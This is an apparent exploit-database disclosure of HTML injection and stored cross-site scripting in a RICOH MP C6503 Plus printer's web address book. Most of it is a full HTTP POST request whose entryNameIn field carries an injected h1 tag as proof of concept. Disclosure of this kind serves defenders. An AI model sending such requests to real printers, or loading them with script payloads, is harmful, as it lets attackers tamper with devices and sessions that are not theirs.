RICOH MP C6503 Plus Printer - Cross-Site Scripting

# Exploit Title: RICOH MP C6503 Plus Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6503-plus-color-laser-multifunction-printer/_/R-SIG-C6503-PLU-SET
# Software: RICOH Printer
# Product Version:  MP C6503 Plus
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE: N/A

# On the RICOH MP C6503 Plus printer, HTML Injection and Stored XSS vulnerabilities have been discovered 
# in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Target/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 192
Cookie: risessionid=186737374338492; cookieOnOffChecker=on; wimsesid=205216910
Connection: close

mode=ADDUSER&step=BASE&wimToken=278155990&entryIndexIn=00018&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1